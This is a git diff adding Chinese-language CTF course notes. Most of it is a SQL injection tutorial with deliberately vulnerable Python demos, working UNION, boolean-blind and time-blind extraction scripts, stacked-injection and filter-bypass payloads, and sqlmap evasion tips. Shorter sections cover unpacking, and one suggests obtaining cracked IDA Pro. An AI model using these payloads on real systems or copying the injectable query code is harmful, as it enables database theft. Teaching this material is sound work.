from_db_cursor(cur) + return(x) +... +``` + +![](static/boxcnbaW15gnJc1O9Iv9WXqJxPc.png) + +可以看到,实际执行的语句为 + +```sql +SELECT * FROM users WHERE username = '123' UNION SELECT 1, 2;#' +``` + +也就是说,在这个 demo 中,从数据库查询的内容会直接返回给用户,用户可以直接看到查询的内容 + +那我们是否可以进行一些其他的查询呢 + +构造语句 `123' UNION SELECT DATABASE(), @@version;#` + +![](static/boxcnDeDp5yPE7W4KX9ByBl9ovh.png) + +我们就能看到返回中包含了当前数据库名与当前数据库版本 + +如果数据库中除了 `users` 表还有其他的东西,我们是否能通过这个注入来获取呢... + +构造语句 `123' UNION SELECT table_name, column_name FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE();#` + +> `information_schema` 库是一个 MySQL 内置数据库,储存了数据库中的一些基本信息,比如数据库名,表名,列名等一系列关键数据,SQL 注入中可以查询该库来获取数据库中的敏感信息。 + +![](static/boxcnkwvSnhKBhlHNLOSthgul9d.png) + +我们可以发现,当前数据库中还存在一张叫 `secret` 的表,让我们偷看一下里面存的是什么 + +构造语句 `123' UNION SELECT 1, secret_string FROM secret;#` + +![](static/boxcn3kfhJ79ByNML2Z1Q1MwRye.png) + +好像得到了什么不得了的秘密 :-) + +### 无回显的 SQL 盲注 + +#### 布尔盲注 + +我们对有回显的 SQL 注入的 demo 进行一点修改,代码如下 + +```python +#!/usr/bin/python +# -*- coding: UTF-8 -*- + +from sqlalchemy import create_engine +from hashlib import sha256 + +engine = create_engine("mysql+pymysql://root:TjsDgwGPz5ANbJUU@127.0.0.1:3305/sqli", max_overflow=5) + +def query(username, password): + with engine.connect() as con: + query_exec = f"SELECT password FROM users WHERE username = '{username}'" + print(query_exec) + if con.execute(query_exec).scalar(): + passhash = con.execute(query_exec).fetchone()[0] + return passhash == sha256(password.encode()).hexdigest() + return False + +def main(): + username = input("Give me your username: ") + password = input("Give me your password: ") + print("Login success" if query(username, password) else "Login failed") + # 不再显示查询结果,而返回 success 或 failed + +if __name__ == "__main__": + main() +``` + +这样一来我们就只能知道自己是否登录成功,并不能看到查询返回的结果了 + +![](static/boxcn2seUNESHkLC9PYvDp0vFbe.png) + +那也就是说,我们无法直观地查看数据库中的数据了,即便查出了不该查的也看不到了 :-( + +那有没有什么办法击破这个限制呢?是时候该本章的主角,布尔盲注出场了 + +观察程序的逻辑,如果查询特定用户的密码与用户的输入匹配,则登陆成功,否则登陆失败 + +我们是否能控制语句是否将对应用户的密码查询出来呢? + +在 MySQL 中有一种格式为 `if(expression, if_true, if_false)` 的分支语句 + +类比 Python 则可以写成 + +```python +if (expression): + if_true +else: + if_false +``` + +如果我们可以通过 `if` 语句来控制整个 SQL 语句是否查询成功,不就可以获取一些信息了吗? + +当 if 语句为真时才将对应用户的密码查询出来,这样一来就能够通过用户验证,结果即为登陆成功 + +当 if 语句为假时则不将对应用户的密码查询出来,程序无从比对,也就无法通过用户验证了 + +有点抽象?没关系继续往下看。 + +构造语句 `Liki4' and if(@@version rlike '^5',1,0);#` + +> rlike 是 MySQL 中的一个关键字,是 regex 和 like 的结合体 + +![](static/boxcnJEeAKow3ZhUSvbL4FQXxOh.png) + +这里实际执行的语句就变成了 + +```sql +SELECT password FROM users WHERE username = 'Liki4' AND if(@@version rlike '^5',1,0); +``` + +![](static/boxcnJ3jImTQcMUOWJclTACj74e.png) + +```sql +SELECT password FROM users WHERE username = 'Liki4' AND if(@@version rlike '^8',1,0); +``` + +![](static/boxcnEDPFbKQ6iaM5WhHWUWmI5d.png) + +也就是说,当 if 语句中的条件为真时,这个查询才会将 password 查询出来 + +如果 if 语句为假,这个条件为假的查询就不成立,查询的结果也为空了 + +从上面这个例子里我们就可以得出当前 MySQL 为 MySQL 5 + +如此一来我们就可以通过枚举爆破得到数据库名,表名,列名,进而得到数据库中存储的数据了 + +其中关键的语句如下 + +```sql +if(DATABASE() rlike '^{exp}',1,0) # 获取数据库名 +if((SELECT GROUP_CONCAT(table_name, ':', column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE()) rlike '^{exp}',1,0) # 获取表名与字段名 +if((SELECT binary GROUP_CONCAT(secret_string) FROM secret) rlike '^{exp}',1,0) # 获取存储的数据 +``` + +完整 exp 如下 + +```python +from mysqli_invisible_bool import * +import string +import io +import sys + +def escape_string(c): + return "\\" + c if c in ".+*" else c + +def exp(): + payload_template = "Liki4' AND if({exp},1,0);#" + space = string.ascii_letters + string.digits + ' _:,$.' + + exp_template = "@@version RLIKE '^{c}'" + exp_template = "DATABASE() RLIKE '^{c}'" + exp_template = "(SELECT GROUP_CONCAT(table_name, ':', column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE()) RLIKE '^{c}'" + exp_template = "(SELECT binary GROUP_CONCAT(secret_string) FROM secret) RLIKE '^{c}'" + + print(exp_template) + + Flag = True + + data = "" + + while Flag: + ori_stdout = sys.stdout + for c in space: + payload = payload_template.format(exp=exp_template.format(c=data+c)) + sys.stdin = io.StringIO(payload + '\n123\n') + res = sys.stdout = io.StringIO() + main() + output = str(res.getvalue()) + if "failed" in output: + continue + if c == "$": + Flag = False + break + if "success" in output: + data += c + break + sys.stdout = ori_stdout + if Flag: + print(data, end="\r") + else: + print(data) + +if __name__ == "__main__": + exp() +``` + +![](static/boxcnXyMaLh26lkNuAPiQVHuaNg.png) + +#### + +#### 时间盲注 + +时间盲注的场景和原理与布尔盲注类似,都是在没有回显查询结果的时候使用的 + +能用布尔盲注的地方一般都能用时间盲注,但能用时间盲注的地方不一定能用布尔盲注 + +有的场景在完全没有回显,甚至没有能表示语句是否查询完成的东西存在时,时间盲注就派上用场了 + +这里可以直接沿用布尔盲注的场景 + +```python +#!/usr/bin/python +# -*- coding: UTF-8 -*- + +from sqlalchemy import create_engine +from hashlib import sha256 + +engine = create_engine("mysql+pymysql://root:TjsDgwGPz5ANbJUU@127.0.0.1:3305/sqli", max_overflow=5) + +def query(username, password): + with engine.connect() as con: + query_exec = f"SELECT password FROM users WHERE username = '{username}'" + print(query_exec) + if con.execute(query_exec).scalar(): + passhash = con.execute(query_exec).fetchone()[0] + return passhash == sha256(password.encode()).hexdigest() + return False + +def main(): + username = input("Give me your username: ") + password = input("Give me your password: ") + print("Login success" if query(username, password) else "Login failed") + +if __name__ == "__main__": + main() +``` + +如果想要让布尔盲注不可用,我们可以做一个假设,假设我们并不知道账户的密码,也就无法通过登陆验证,这个时候就失去了布尔盲注最大的依赖,也就无法得知 if 表达式的真或假了。 + +![](static/boxcndxf4WEQQQEXspS7GwNKI6J.png) + +但,真的没办法了吗? + +在 MySQL 中存在一个延时函数 sleep(),可以延时特定的秒数 + +如果我们将 if 语句中的返回值改成延时函数会如何呢? + +当 if 语句为真时进行一个延时,当 if 语句为假时即刻返回 + +于是我们就可以通过查询进行的时间长短来判断语句是否为真了! + +完整的 exp 如下 + +```python +from mysqli_invisible_time import * +import string +import io +import sys +import signal + +def handler(signum, frame): + raise Exception("timeout") + +signal.signal(signal.SIGALRM, handler) + +def escape_string(c): + return "\\" + c if c in ".+*" else c + +def exp(): + payload_template = "Liki4' AND if({exp},SLEEP(1),0);#" + space = string.ascii_letters + string.digits + ' _:,$.' + + exp_template = "@@version RLIKE '^{c}'" + exp_template = "DATABASE() RLIKE '^{c}'" + exp_template = "(SELECT GROUP_CONCAT(table_name, ':', column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE()) RLIKE '^{c}'" + exp_template = "(SELECT binary GROUP_CONCAT(secret_string) FROM secret) RLIKE '^{c}'" + + print(exp_template) + + Flag = True + + data = "" + + while Flag: + ori_stdout = sys.stdout + for c in space: + payload = payload_template.format(exp=exp_template.format(c=data+c)) + sys.stdin = io.StringIO(payload + '\n555_i_dont_know_password') + res = sys.stdout = io.StringIO() + + signal.alarm(1) + try: + main() + print("timeout") + except: + print("bingooo") + + output = str(res.getvalue()) + if "timeout" in output: + continue + if c == "$": + Flag = False + break + if "bingooo" in output: + data += c + break + sys.stdout = ori_stdout + if Flag: + print(data, end="\r") + else: + print(data) + +if __name__ == "__main__": + exp() +``` + +![](static/boxcnsStdHC5VmBylyx6S7hakEb.png) + +### 基于报错的 SQL 注入 (TODO) + +有的时候当 Web 应用虽然没有回显,但开启了 Debug 模式或者开启了显示报错的话,一旦 SQL 语句执行报错了,那么就会将错误信息显示出来,那报错的信息能否成为一种带出关键信息的回显呢? + +可以! + +让我们再对 demo 的代码做一些修改,用来探究以下如何利用报错来外带信息。 + +```python +#!/usr/bin/python +# -*- coding: UTF-8 -*- + +from sqlalchemy import create_engine, exc +from hashlib import sha256 + +engine = create_engine("mysql+pymysql://root:TjsDgwGPz5ANbJUU@127.0.0.1:3305/sqli", max_overflow=5) + +def query(username, password): + with engine.connect() as con: + query_exec = f"SELECT password FROM users WHERE username = '{username}'" + print(query_exec) + try: + if con.execute(query_exec).scalar(): + passhash = con.execute(query_exec).fetchone()[0] + return passhash == sha256(password.encode()).hexdigest() + except exc.SQLAlchemyError as e: + print(str(e.__dict__['orig'])) # 输出捕获的错误信息 + return False + +def main(): + username = input("Give me your username: ") + password = input("Give me your password: ") + print("Login success" if query(username, password) else "Login failed") + +if __name__ == "__main__": + main() +``` + +![](static/boxcnl67uDDSIdh3J7y7Jxjk0dc.png) + +这样一来如果 SQL 语句执行报错的话,错误信息就会被打印出来 + +我收集了十个在 MySQL 中常见的可以用来进行报错注入的函数,我将他们常见的攻击手法都整理一下,放在底下供大家参考,原理和先前的有回显注入的方式并无区别。 + +关于函数的原型与定义可以翻阅 MySQL 文档 + +MySQL 5.7 doc: [https://dev.mysql.com/doc/refman/5.7/en/](https://dev.mysql.com/doc/refman/5.7/en/) + +MySQL 8.0 doc: [https://dev.mysql.com/doc/refman/8.0/en/](https://dev.mysql.com/doc/refman/8.0/en/) + +需要注意的是旧版本的某些函数在新版本中可能已经失效,具体在这里不一一列举 + +1. `floor` +2. `extractvalue` +3. `updatexml` +4. `geometrycollection` +5. `multipoint` +6. `polygon` +7. `multipolygon` +8. `linestring` +9. `multilinestring` +10. `exp` + +### 堆叠注入 + +当注入点使用的执行函数允许一次性执行多个 SQL 语句的时候,例如 PHP 中的 `multi_query`,堆叠注入即存在。堆叠注入相较于其他方式,利用的手法更加自由,不局限于原来的 SELECT 语句,而可以拓展到 INSERT、SHOW、SET、UPDATE 语句等。 + +`Liki4';INSERT INTO users VALUES ('Liki3','01848f8e70090495a136698a41c5b37406968c648ab12133e0f256b2364b5bb5');#` + +![](static/boxcnrMIc2m6oubxC86CEtw1jMe.png) + +![](static/boxcnVRdntvakiTpt7nP8JhKKfc.png) + +INSERT 语句也被成功执行了,向数据库中插入了 Liki3 的数据 + +### 二次注入 + +二次注入的原理与前面所有的注入方式一致,仅仅在于触发点不同。 + +在某些 Web 应用中,注册时对用户的输入做了良好的预处理,但在后续使用的过程中存在未做处理的注入点,此时即可能造成二次注入 + +常见的场景,例如某平台在用户注册时无法进行 SQL 注入利用,但在登陆后的用户个人信息界面进行数据查询时存在可利用的注入点。 + +那么我们在注册的时候即便无法当即触发 SQL 注入,但可以将恶意 payload 暂时写入到数据库中,这样一来当我们访问个人信息界面查询这个恶意 payload 的时候即会在可利用的注入点触发 SQL 注入。 + +## SQL 注入常见的过滤绕过方式 + +### 空格被过滤 + +1. `/*xxx*/` MySQL 行内注释 + +`SELECT/*1*/username,password/*1*/FROM/*1*/users;` + +1. `()` + +`SELECT(username),(password)FROM(users);` + +1. `%20 %09 %0a %0b %0c %0d %a0 %00` 等不可见字符 + +### 引号被过滤 + +1. 十六进制代替字符串 + +`SELECT username, password FROM users WHERE username=0x4c696b6934` + +### 逗号被过滤 + +1. `from for` + +`select substr(database(),1,1);` + +`select substr(database() from 1 for 1);` + +`select mid(database() from 1 for 1);` + +1. `join` + +`select 1,2` + +`select * from (select 1)a join (select 2)b` + +1. `like/rlike` + +`select ascii(mid(user(),1,1))=80` + +`select user() like 'r%'` + +1. `offset` + +`select * from news limit 0,1` + +`select * from news limit 1 offset 0` + +### 比较符号 `(<=>)` 被过滤 + +1. `=` 用 `like, rlike, regexp` 代替 + +`select * from users where name like 'Liki4'` + +`select * from users where name rlike 'Liki4'` + +`select * from users where name regexp 'Liki4'` + +1. `<>` 用 `greatest()、least()` + +`select * from users where id=1 and ascii(substr(database(),0,1))>64` + +`select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64` + +1. `between` + +`select * from users where id between 1 and 1;` + +### `or and xor not` 被过滤 + +1. `and = &&` +2. `or = ||` +3. `xor = |` +4. `not = !` + +### 常用函数被过滤 + +1. `hex()、bin() = ascii()` +2. `sleep() = benchmark()` +3. `concat_ws() = group_concat()` +4. `mid()、substr() = substring()` +5. `@@user = user()` +6. `@@datadir = datadir()` + +### 宽字节注入 + +在 GB2312、GBK、GB18030、BIG5、Shift_JIS 等编码下来吃掉 ASCII 字符的方法,可以用来绕过 `addslashes()` +`id=0%df%27%20union%20select%201,2,database();` + +![](static/boxcnaRtyUGC0sX3btnFIgpDCob.png) + +### information_schema 被过滤 + +在 SQL 注入中,`infromation_schema` 库的作用无非就是可以获取到 `table_schema, table_name, column_name` 这些数据库内的信息。 + +#### + +##### MySQL 5.6 的新特性 + +在 MySQL 5.5.x 之后的版本,MySQL 开始将 innoDB 引擎作为 MySQL 的默认引擎,因此从 MySQL 5.6.x 版本开始,MySQL 在数据库中添加了两张表,`innodb_index_stats` 和 `innodb_table_stats`,两张表都会存储数据库和对应的数据表。 + +因此,从 MySQL 5.6.x 开始,有了取代 `information_schema` 的表名查询方式,如下所示 + +```python +select table_name from mysql.innodb_index_stats where database_name=database(); +select table_name from mysql.innodb_table_stats where database_name=database(); +``` + +![](static/boxcnbMtjAq8osStjcSbFuIdDSc.png) + +##### MySQL 5.7 的新特性 + +由于 `performance_schema` 过于发杂,所以 MySQL 在 5.7 版本中新增了 `Sys schema` 视图,基础数据来自于 `performance_chema` 和 `information_schema` 两个库。 + +而其中有这样一个视图,`schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer`,我们可以翻阅官方文档对其的解释 + +> 查询表的统计信息,其中还包括 InnoDB 缓冲池统计信息,默认情况下按照增删改查操作的总表 I/O 延迟时间(执行时间,即也可以理解为是存在最多表 I/O 争用的表)降序排序,数据来源:performance_schema.table_io_waits_summary_by_table、sys.x$ps_schema_table_statistics_io、sys.x$innodb_buffer_stats_by_table + +其中就包含了存储数据库和对应的数据表,于是就有了如下的表名查询方式 + +```sql +select table_name from sys.schema_table_statistics_with_buffer where table_schema=database(); +select table_name from sys.x$schema_table_statistics_with_buffer where table_schema=database(); +``` + +![](static/boxcnV68mdIQmovJwczDsOc53gc.png) + +### 无列名注入 + +在因为 `information_schema` 被过滤或其他原因无法获得字段名的时候,可以通过别名的方式绕过获取字段名的这一步骤 + +`select a,b from (select 1 as a, 2 as b union select * from users)x;` + +![](static/boxcnI3jJNlLqq4f7WqRKGEWTeh.png) + +## 超脱 MySQL 之外 (TODO) + +### 不同数据库后端的判别 + +虽然在以往的 CTF 比赛中,MySQL 的出镜率非常高,但在绝大多数的生产环境中(起码在国内),OracleDB、MSSQL 等数据库是绝对的占有率霸主。而一些大型互联网企业则可能使用的是更新的“高新技术”,例如 ClickHouse、PostgreSQL、MongoDB 等。 + +那么如何去判别一个 Web 应用的数据库后端用的是什么呢? + +这一小节就来简单地讲一讲一些针对这种情况的常见方法。 + +### 各数据库的攻击面拓展 + +### noSQL 注入 + +工具 nosqlmap + +## SQL 注入防范手段 (TODO) + +## 一些 CVE 复现 (TODO) + +### ThinkPHP SQL 注入 + +### Django SQL 注入 + +### Gorm SQL 注入 + +# 数据库注入工具 SQLMAP 及其高级使用指南 + +> 这里不讨论诸如 -u 这种简单参数 + +## 一些特殊参数 + +### -r [文件名] + +当你从 Burp 之类的工具中发现了 数据库注入的痕迹 + +可以全选右键保存你发送有效载荷(含有 Sql 注入的语句)的明文报文 + +复制到文件中保存 + +使用 -r 后跟保存的文件 sqlmap 会自动获得发送恶意报文的神奇能力(x 其实是自动解析了) + +对你传入的报文的目标进行自动化的 sql 注入 + +### --sql-shell + +在摸索到 数据库注入的时候 生成一个交互式的数据库注入 + +可以直接编写可执行的 sql 语句 + +例如 select "123" + +Sqlmap 会自动探寻目标的注入返回结果 减少手动编写 payload 的辛劳 + +> 尤其是写了半天发现引号对不上等等 + +### --os-shell + +一个新手以为很牛逼但是其实很鸡肋的功能 可以获取 shell 一般是通过数据库注入获取到写文件的权限,写入 webshell 文件 的原理拿到对方机器的 shell + +可是这个玩意非常的鸡肋 + +因为 默认数据库配置不具有这种问题需要另外配置 此外环境需要支持类似动态执行的功能 例如 go 起的 web + +### --random-agent + +一般不用 但是 sqlmap 在进行 web 的注入时会使用 sqlmap 的 User-Agent 痕迹非常明显 + +可以用这个消磨一下自己的痕迹 + +### --second-url + +对于一些非常复杂的数据库二次注入 sqlmap 其实是没有办法的 例如需要鉴权(?) + +> 此处有待考证 + +但是对于简单的一些二次注入,可以通过这个参数获取到存在数据库注入界面的结果界面。让 sqlmap 获取到 数据库注入的结果。 + +### --technique + +技巧 指定 sqlmap 使用的注入技术 + +有以下几种 + +- `t` 基于时间 time +- `b` 基于布尔 boolean +- `e` 基于报错 error +- `u` 联合注入 union +- `q` 内联注入 inline query +- `s` 堆叠注入 stack + +通常而言 sqlmap 在进行自动化注入尝试的时候常常是会先检测到 time 这一类注入 + +但是对于 union 和 boolean 则是最后进行检查的 + +而往往当你存在 union 或者 boolean 注入的时候,其实 time 多半也会一同存在 + +Sqlmap 很可能在接下来的 数据库注入后利用中使用耗时更为巨大的 time 注入技巧 + +这对于攻击者其实是不利的 + +那么通过这个参数去指定对应的注入技巧 可以大大减少数据库注入获取结果的时间 优化你的进攻效率 + +### --dbms + +指定对应的数据库类型 + +Mysql mssql 之类的 sqlmap 就不会去搜索爆破其他类型的数据库 + +### --hex + +以十六进制来进行注入的技巧 + +在数据注入的时候使用这个可以规避掉一些 WAF + +## WAF 绕过 - 将特殊的 payload 编码的脚本 + +## 自定义 Payload - 自定义你的核心攻击语句 diff --git a/6.计算机安全/6.1网络安全.md b/6.计算机安全/6.1网络安全.md new file mode 100644 index 0000000..3f68243 --- /dev/null +++ b/6.计算机安全/6.1网络安全.md @@ -0,0 +1,3 @@ +# 网络安全 + +网络安全是一个很宽泛的话题,得益于目前网络应用越来越多,网络安全花样多,手段强,攻击性也比二进制安全要高。比如从网站的登录入口脱出整个数据库?通过奇奇怪怪的链接端了钓鱼网站的后台?通过爬虫抓取网页内容,制作各种自动化脚本(抢票、抢课、自动刷网课视频)? diff --git a/6.计算机安全/6.2.1基础工具的使用.md b/6.计算机安全/6.2.1基础工具的使用.md new file mode 100644 index 0000000..1de7c86 --- /dev/null +++ b/6.计算机安全/6.2.1基础工具的使用.md @@ -0,0 +1,11 @@ +# 基础工具的使用 + +# IDA pro + +IDA pro (交互式反编译器专业版)是二进制安全研究人员必备的反汇编、反编译工具,功能繁多而强大,反编译结果清晰明了。 + +## 安装 + +IDA pro 是收费软件,价格极其昂贵,一般人买不起,因此可以到各大网站下载破解版,注意到一些知名网站下载,比如吾爱破解等,防止下载的软件包含病毒。在编写此文时,IDA pro 更新到了 8.0,网上能找到的最新的版本为 7.7。本文由于版权原因,不提供下载链接。 + +## 简易使用方法 diff --git a/6.计算机安全/6.2.2软件破解、软件加固.md b/6.计算机安全/6.2.2软件破解、软件加固.md new file mode 100644 index 0000000..e0077ad --- /dev/null +++ b/6.计算机安全/6.2.2软件破解、软件加固.md @@ -0,0 +1,60 @@ +# 软件破解、软件加固 + +## 软件加壳、脱壳技术 + +壳是一种常见的软件保护技术,通过对前面基础工具的使用,我们很容易发现正常编译出来的程序逆向的难度并不高,只需按 IDA 的 F5 即可浏览程序的大部分逻辑。但加壳后的软件,会将主要逻辑 以一定的规律加密/压缩等,使其不可直接 F5 查看逻辑。 + +按壳的效果来分,主要分压缩壳和加密壳两种。压缩壳如 UPX,可以将程序体积较大的缩小。加密壳如 VMP,可以对程序起到非常大的防逆向作用,以目前的技术,对 VMP 加壳的程序几乎没有逆向的可能。 + +### 简单的 UPX 壳 + +UPX 是一个常见的压缩壳,通过该工具可以比较大的缩小二进制程序的体积,而不影响正常功能 + +UPX 壳的官网:[https://upx.github.io](https://upx.github.io) + +加壳命令(示例): + +```c +upx -1 文件名 +``` + +脱壳命令: + +```c +upx -d 文件名 +``` + +### ESP 定律脱壳法(本节来源于 ctf-wiki:[https://ctf-wiki.org/reverse/windows/unpack/esp/](https://ctf-wiki.org/reverse/windows/unpack/esp/)) + +ESP 定律法是脱壳的利器, 是应用频率最高的脱壳方法之一. + +#### 要点 + +ESP 定律的原理在于利用程序中堆栈平衡来快速找到 OEP. + +由于在程序自解密或者自解压过程中, 不少壳会先将当前寄存器状态压栈, 如使用 `pushad`, 在解压结束后, 会将之前的寄存器值出栈, 如使用 `popad`. 因此在寄存器出栈时, 往往程序代码被恢复, 此时硬件断点触发. 然后在程序当前位置, 只需要少许单步操作, 就很容易到达正确的 OEP 位置. + +1. 程序刚载入开始 pushad/pushfd +2. 将全部寄存器压栈后就设对 ESP 寄存器设硬件断点 +3. 运行程序, 触发断点 +4. 删除硬件断点开始分析 + +#### 示例 + +示例程序可以点击此处下载: [2_esp.zip](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/unpack/example/2_esp.zip) + +还是上一篇的示例, 入口一句 `pushad`, 我们按下 F8 执行 `pushad` 保存寄存器状态, 我们可以在右边的寄存器窗口里发现 `ESP` 寄存器的值变为了红色, 也即值发生了改变. + +![](static/boxcnJdWqlHmhlvB471dIGT4GEh.png) + +我们鼠标右击 `ESP` 寄存器的值, 也就是图中的 `0019FF64`, 选择 `HW break[ESP]` 后, 按下 `F9` 运行程序, 程序会在触发断点时断下. 如图来到了 `0040D3B0` 的位置. 这里就是上一篇我们单步跟踪时到达的位置, 剩余的就不再赘述. + +## 软件加密常用算法 + +逆向中通常出现的加密算法包括 base64、TEA、AES、RC4、MD5、DES 等。 + +## 序列号生成与破解与反破解 + +早期软件序列号都是软件内部一套验证算法,本地进行验证序列号是否正确,或者本地校验格式再向服务器请求。这种软件的序列号破解只需找到内部验证算法,生成出一个合适的序列号即可,联网的软件就将联网屏蔽/做个假的服务器返回正确的信息等办法。如何找到验证算法是关键,此处就需要一定的逆向基础。现有的 CTF 逆向题基本都是从序列号破解的角度抽象出来的。 + +如今的很多软件都已不再采用序列号机制,比如 steam 游戏,或者序列号的生成是单向不可逆的,此时就对软件的破解造成了一定的困难 diff --git a/6.计算机安全/6.2二进制安全.md b/6.计算机安全/6.2二进制安全.md new file mode 100644 index 0000000..8e98494 --- /dev/null +++ b/6.计算机安全/6.2二进制安全.md @@ -0,0 +1,42 @@ +# 二进制安全 + +## 简介 + +二进制安全在 CTF 中常分为 pwn 和 reverse 两大方向。 + +pwn 主要研究漏洞的挖掘及其利用的手段,并利用漏洞攻击目标取得目标机器的权限。 + +reverse 主要研究软件破解,软件加固,计算机病毒等。 + +现实场景下,这两种方向通常界限比较模糊,统称的二进制安全主要研究漏洞挖掘,漏洞利用,软件加固,计算机病毒,游戏安全等。 + +## 学习二进制安全需要具备哪些基础? + +- 扎实的 C 语言基础,目前现有的各种二进制分析工具通常都会把汇编代码重新反编译为 C 语言程序。 +- 适当的软件开发经验,安全的基础是开发。 +- 扎实的汇编语言基础,如果你了解过编译的过程,就会知道现在的编译型语言,如 C,C++,go,rust 等,他们的编译产物通常都是对应架构的二进制程序,而二进制程序是可以直接反汇编成汇编代码的,换句话说,理论上能看懂汇编,就能看懂一切计算机程序。 + +## 为了打好基础,我应该怎么学? + +- C 语言推荐阅读《C Primer Plus》,C 语言领域的圣经。二进制对 C 语言的最低要求:熟练地使用链表完成约瑟夫环问题。 +- x86 汇编语言推荐阅读王爽的《汇编语言》,在本文编辑时已经出到了第四版。x86 是目前最常用的 CPU 架构之一,目前基本上所有的电脑,服务器都采用的 x86 架构。因此在初期的二进制学习中,学习 x86 汇编语言是没有什么问题的。x86 汇编语言历史比较悠久,从 Intel 公司的第一代处理器 8086 采用的 16 位 x86 汇编语言开始,已经逐步发展到现在的 32 位/64 位。王爽的《汇编语言》讲的就是 16 位 x86 汇编语言。可能有人会问,现在学 16 位汇编语言还有什么用吗?其实 x86 的基础命令,对汇编语言来说只是寄存器的命名有所不同,寄存器的宽度也由 16 位升到 32 位再到 64 位而已。比如在 16 位汇编中,加法命令是 `add ax,bx`(意思是 ax=ax+bx,ax 和 bx 都是 16bit 的寄存器),而到了 32 位汇编中是 `add eax,ebx`,64 位汇编中是 `add rax,rbx`。虽然这些语句翻译成字节码是有区别的,但对于汇编语言来说差别并不大,因此由 16 位汇编入门,简单易上手,后面扩展到 32/64 位也很容易,是非常合适的。 +- Python 的基本语法,Python 之所以没有作为“基础”,是因为在二进制安全中,Python 由于其简单,开发周期短的特性,往往充当一个锦上添花的工具的角色,比如在做逆向工程领域的研究时,使用 Python 来编写一些加解密脚本要比使用 C 语言快速。感受一下: + +```c +#include +#include +int main() +{ + char ch[]="hello world"; + for(int i=0;i 本模块由 Vidar-Team 信息安全协会倾情奉献 + +计算机安全,通俗的讲就是黑客,主要研究计算机领域的攻防技术,主要包括网络安全和二进制安全两大类。现有的 CTF 信息安全竞赛里面还会看到密码学和杂项,以及最近几年新兴的 IoT 安全,人工智能安全等。 diff --git a/6.计算机安全/static/boxcn2seUNESHkLC9PYvDp0vFbe.png b/6.计算机安全/static/boxcn2seUNESHkLC9PYvDp0vFbe.png new file mode 100644 index 0000000..748aa83 Binary files /dev/null and b/6.计算机安全/static/boxcn2seUNESHkLC9PYvDp0vFbe.png differ diff --git a/6.计算机安全/static/boxcn3kfhJ79ByNML2Z1Q1MwRye.png b/6.计算机安全/static/boxcn3kfhJ79ByNML2Z1Q1MwRye.png new file mode 100644 index 0000000..1a1b261 Binary files /dev/null and b/6.计算机安全/static/boxcn3kfhJ79ByNML2Z1Q1MwRye.png differ diff --git a/6.计算机安全/static/boxcn8TrpE02fnPV7dFzkmnHiAe.png b/6.计算机安全/static/boxcn8TrpE02fnPV7dFzkmnHiAe.png new file mode 100644 index 0000000..dd155b9 Binary files /dev/null and b/6.计算机安全/static/boxcn8TrpE02fnPV7dFzkmnHiAe.png differ diff --git a/6.计算机安全/static/boxcnDeDp5yPE7W4KX9ByBl9ovh.png b/6.计算机安全/static/boxcnDeDp5yPE7W4KX9ByBl9ovh.png new file mode 100644 index 0000000..2a69bc9 Binary files /dev/null and b/6.计算机安全/static/boxcnDeDp5yPE7W4KX9ByBl9ovh.png differ diff --git a/6.计算机安全/static/boxcnEDPFbKQ6iaM5WhHWUWmI5d.png b/6.计算机安全/static/boxcnEDPFbKQ6iaM5WhHWUWmI5d.png new file mode 100644 index 0000000..3381fd0 Binary files /dev/null and b/6.计算机安全/static/boxcnEDPFbKQ6iaM5WhHWUWmI5d.png differ diff --git a/6.计算机安全/static/boxcnHiNBWN86AR4AvSSsUVwSWb.png b/6.计算机安全/static/boxcnHiNBWN86AR4AvSSsUVwSWb.png new file mode 100644 index 0000000..61b6e32 Binary files /dev/null and b/6.计算机安全/static/boxcnHiNBWN86AR4AvSSsUVwSWb.png differ diff --git a/6.计算机安全/static/boxcnI3jJNlLqq4f7WqRKGEWTeh.png b/6.计算机安全/static/boxcnI3jJNlLqq4f7WqRKGEWTeh.png new file mode 100644 index 0000000..37c9440 Binary files /dev/null and b/6.计算机安全/static/boxcnI3jJNlLqq4f7WqRKGEWTeh.png differ diff --git a/6.计算机安全/static/boxcnJ3jImTQcMUOWJclTACj74e.png b/6.计算机安全/static/boxcnJ3jImTQcMUOWJclTACj74e.png new file mode 100644 index 0000000..58b381e Binary files /dev/null and b/6.计算机安全/static/boxcnJ3jImTQcMUOWJclTACj74e.png differ diff --git a/6.计算机安全/static/boxcnJEeAKow3ZhUSvbL4FQXxOh.png b/6.计算机安全/static/boxcnJEeAKow3ZhUSvbL4FQXxOh.png new file mode 100644 index 0000000..e8cb34b Binary files /dev/null and b/6.计算机安全/static/boxcnJEeAKow3ZhUSvbL4FQXxOh.png differ diff --git a/6.计算机安全/static/boxcnJdWqlHmhlvB471dIGT4GEh.png b/6.计算机安全/static/boxcnJdWqlHmhlvB471dIGT4GEh.png new file mode 100644 index 0000000..0d8f8ec Binary files /dev/null and b/6.计算机安全/static/boxcnJdWqlHmhlvB471dIGT4GEh.png differ diff --git a/6.计算机安全/static/boxcnV68mdIQmovJwczDsOc53gc.png b/6.计算机安全/static/boxcnV68mdIQmovJwczDsOc53gc.png new file mode 100644 index 0000000..f27572d Binary files /dev/null and b/6.计算机安全/static/boxcnV68mdIQmovJwczDsOc53gc.png differ diff --git a/6.计算机安全/static/boxcnVRdntvakiTpt7nP8JhKKfc.png b/6.计算机安全/static/boxcnVRdntvakiTpt7nP8JhKKfc.png new file mode 100644 index 0000000..f5086a5 Binary files /dev/null and b/6.计算机安全/static/boxcnVRdntvakiTpt7nP8JhKKfc.png differ diff --git a/6.计算机安全/static/boxcnXyMaLh26lkNuAPiQVHuaNg.png b/6.计算机安全/static/boxcnXyMaLh26lkNuAPiQVHuaNg.png new file mode 100644 index 0000000..ef4c38c Binary files /dev/null and b/6.计算机安全/static/boxcnXyMaLh26lkNuAPiQVHuaNg.png differ diff --git a/6.计算机安全/static/boxcnaRtyUGC0sX3btnFIgpDCob.png b/6.计算机安全/static/boxcnaRtyUGC0sX3btnFIgpDCob.png new file mode 100644 index 0000000..ffb40c2 Binary files /dev/null and b/6.计算机安全/static/boxcnaRtyUGC0sX3btnFIgpDCob.png differ diff --git a/6.计算机安全/static/boxcnbAKreqEeZxOYQuQMtZbd9d.png 